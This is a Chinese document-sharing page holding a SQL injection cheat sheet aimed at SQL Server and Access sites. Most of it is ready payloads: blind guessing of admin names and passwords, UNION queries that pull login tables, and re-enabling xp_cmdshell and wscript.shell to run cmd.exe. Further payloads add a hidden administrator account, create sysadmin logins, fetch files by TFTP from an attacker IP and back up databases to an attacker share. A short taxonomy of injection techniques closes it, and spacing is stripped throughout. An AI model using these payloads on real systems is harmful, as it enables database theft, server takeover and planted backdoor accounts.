最新整理SQL注入语句标准语法要点是怎样的Word下载.docx
《最新整理SQL注入语句标准语法要点是怎样的Word下载.docx》由会员分享,可在线阅读,更多相关《最新整理SQL注入语句标准语法要点是怎样的Word下载.docx(7页珍藏版)》请在冰豆网上搜索。
and1=(selectcount(*)fromadminwherelen(name)6)错误
and1=(selectcount(*)fromadminwherelen(name)5)正确长度是6
and1=(selectcount(*)fromadminwherelen(name)=6)正确
and1=(selectcount(*)fromadminwherelen(password)11)正确
and1=(selectcount(*)fromadminwherelen(password)12)错误长度是12
and1=(selectcount(*)fromadminwherelen(password)=12)正确
6.猜解字符
and1=(selectcount(*)fromadminwhereleft(name,1)=a)---猜解用户帐号的第一位
and1=(selectcount(*)fromadminwhereleft(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)--
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
groupbyusers.idhaving1=1--
groupbyusers.id,users.username,users.password,users.privshaving1=1--
insertintousersvalues(666,attacker,foobar,0xffff)--
UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintable-
UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN(login_id)-
UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN(login_id,login_name)-
UNIONSELECTTOP1login_nameFROMlogintable-
UNIONSELECTTOP1passwordFROMlogintablewherelogin_name=Rahul--
看服务器打的补丁=出错了打了SP4补丁
and1=(select@@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and1=(SELECTIS_SRVROLEMEMBER(sysadmin))--
判断连接数据库帐号。
(采用SA账号连接返回正常=证明了连接账号是SA)
andsa=(SELECTSystem_user)--
anduser_name()=dbo--
and0(selectuser_name()--
看xp_cmdshell是否删除
and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype=XANDname=xp_cmdshell)--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
EXECmaster.dbo.sp_addextendedprocxp_cmdshell,xplog70.dll--
EXECmaster.dbo.sp_addextendedprocxp_cmdshell,c:
\inetpub\wwwroot\xplog70.dll--
反向PING自己实验
usemaster;
declare@sint;
execsp_oacreatewscript.shell,@sout;
execsp_oamethod@s,run,NULL,cmd.exe/cping192.168.0.1;
--
加帐号
DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:
\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add--
创建一个虚拟目录E盘:
declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:
\inetpub\wwwroot\mkwebdir.vbs-w默认Web站点-ve,e:
\--
访问属性:
(配合写入一个webshell)
declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:
\inetpub\wwwroot\chaccess.vbs-aw3svc/1/ROOT/e+browse
爆库特殊技巧:
:
%5c=\或者把/和\修改%5提交
and0(selecttop1pathsfromnewtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=7)--
and0(selectcount(*)frommaster.dbo.sysdatabaseswherename1anddbid=6)
依次提交dbid=7,8,9....得到更多的数据库名
and0(selecttop1namefrombbs.dbo.sysobjectswherextype=U)暴到一个表假设为admin
and0(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Admin))来得到其他的表。
and0(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=admin
anduid(str(id)))暴到UID的数值假设为18779569uid=id
and0(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569)得到一个admin的一个字段,假设为user_id
and0(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569andnamenotin
(id,...))来暴出其他的字段
and0(selectuser_idfromBBS.dbo.adminwhereusername1)可以得到用户名
依次可以得到密码。
。
假设存在user_idusername,password等字段
and0(selecttop1namefrombbs.dbo.sysobjectswherextype=U)得到表名
and0(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Address))
and0(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid(str(id)))判断id值
and0(selecttop1namefromBBS.dbo.syscolumnswhereid=773577794)所有字段
?
id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin
id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)
得到WEB路径
createtable[dbo].[swap]([swappass][char](255));
and(selecttop1swappassfromswap)=1--
CREATETABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_regread@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\,@value_name=/,values=@testOUTPUTinsertintopaths(path)values(@test)--
useku1;
createtablecmd(strimage);
--建立image类型的表cmd
存在xp_cmdshell的测试过程:
execmaster..xp_cmdshelldir
execmaster.dbo.sp_addloginjiaoniang$;
--加SQL帐号
execmaster.dbo.sp_passwordnull,jiaoniang$,1866574;
execmaster.dbo.sp_addsrvrolememberjiaoniang$sysadmin;
execmaster.dbo.xp_cmdshellnetuserjiaoniang$1866574/workstations:
*/times:
all/passwordchg:
yes/passwordreq:
yes/active:
yes/add;
execmaster.dbo.xp_cmdshellnetlocalgroupadministratorsjiaoniang$/add;
execmaster..xp_servicecontrolstart,schedule启动服务
execmaster..xp_servicecontrolstart,server
DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:
\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add
DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:
\WINNT\system32\cmd.exe/cnetlocalgroupadministratorsjiaoniang$/add
execmaster..xp_cmdshelltftp-iyouipgetfile.exe--利用TFTP上传文件
declare@asysnameset@a=xp_+cmdshellexec@adirc:
\
declare@asysnameset@a=xp+_cm+dshellexec@adirc:
declare@a;
set@a=db_name();
backupdatabase@atodisk=你的IP你的共享目录bak.dat
如果被限制则可以。
select*fromopenrowset(sqloledb,server;
sa;
selectOK!
execmaster.dbo.sp_addloginhax)
查询构造:
SELECT*FROMnewsWHEREid=...ANDtopic=...AND.....
adminand1=(selectcount(*)from[user]whereusername=victimandright(left(userpass,01),1)=1)anduserpass
select123;
:
aornamelikefff%;
--显示有一个叫ffff的用户哈。
and1(selectcount(email)from[user]);
update[users]setemail=(selecttop1namefromsysobjectswherextype=uandstatus0)wherename=ffff;
update[users]setemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff;
update[users]setemail=(selecttop1namefromsysobjectswherextype=uandid581577110)wherename=ffff;
update[users]setemail=(selecttop1count(id)frompassword)wherename=ffff;
update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename=ffff;
update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename=ffff;
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID得到第二个表的名字
insertintousersvalues(666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)--
insertintousersvalues(667,123,123,0xffff)--
insertintousersvalues(123,admin--,password,0xffff)--
anduser0
and(selectcount(*)fromsysobjects)0
and(selectcount(*)frommysysobjects)0//为access数据库
枚举出数据表名
updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus0);
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上andname刚才得到的表名)。
updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus0andnamevote);
然后id=1552andexists(select*fromaaawhereaaa5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
updateaaasetaaa=(selecttop1col_name(object_id(表名),1));
然后id=152andexists(select*fromaaawhereaaa5)出错,得到字段名
updateaaasetaaa=(selecttop1col_name(object_id(表名),2));
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus0[andname你得到的表名查出一个加一个])[where条件]selecttop1namefromsysobjectswherextype=uandstatus0andnamenotin(table1,table2,)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update表名set字段=(selecttop1col_name(object_id(要查询的数据表名),字段列如:
1)[where条件]
补充:
SQL注入技术
强制产生错误
对数据库类型、版本等信息进行识别是此类型攻击的动机所在。
它的目的是收集数据库的类型、结构等信息为其他类型的攻击做准备,可谓是攻击的一个预备步骤。
利用应用程序服务器返回的默认错误信息而取得漏洞信息。
采用非主流通道技术
除HTTP响应外,能通过通道获取数据,然而,通道大都依赖与数据库支持的功能而存在,所以这项技术不完全适用于所有的数据库平台。
SQL注入的非主流通道主要有E-mail、DNS以及数据库连接,基本思想为:
先对SQL查询打包,然后借助非主流通道将信息反馈至攻击者。
使用特殊的字符
不同的SQL数据库有许多不同是特殊字符和变量,通过某些配置不安全或过滤不细致的应用系统能够取得某些有用的信息,从而对进一步攻击提供方向。
使用条件语句
此方式具体可分为基于内容、基于时间、基于错误三种形式。
一般在经过常规访问后加上条件语句,根据信息反馈来判定被攻击的目标。
利用存储过程
通过某些标准存储过程,数据库厂商对数据库的功能进行扩展的同时,系统也可与进行交互。
部分存储过程可以让用户自行定义。
通过其他类型的攻击收集到数据库的类型、结构等信息后,便能够建构执行存储过程的命令。
这种攻击类型往往能达到远程命令执行、特权扩张、拒绝服务的目的。
避开输入过滤技术
虽然对于通常的编码都可利用某些过滤技术进行SQL注入防范,但是鉴于此种情况下也有许多方法避开过滤,一般可达到此目的的技术手段包括SQL注释和动态查询的使用,利用截断,URL编码与空字节的使用,大小写变种的使用以及嵌套剥离后的表达式等等。
借助于此些手段,输入构思后的查询可以避开输入过滤,从而攻击者能获得想要的查询结果。
推断技术
能够明确数据库模式、提取数据以及识别可注入参数。
此种方式的攻击通过网站对用户输入的反馈信息,对可注入参数、数据库模式推断,这种攻击构造的查询执行后获得的答案只有真、假两种。
基于推断的注入方式主要分为时间测定注入与盲注入两种。
前者是在注入语句里加入语句诸如waitfor100,按照此查询结果出现的时间对注入能否成功和数据值范围的推导进行判定;
后者主要是andl=l、andl=2两种经典注入方法。
这些方式均是对一些间接关联且能取得回应的问题进行提问,进而通过响应信息推断出想要信息,然后进行攻击。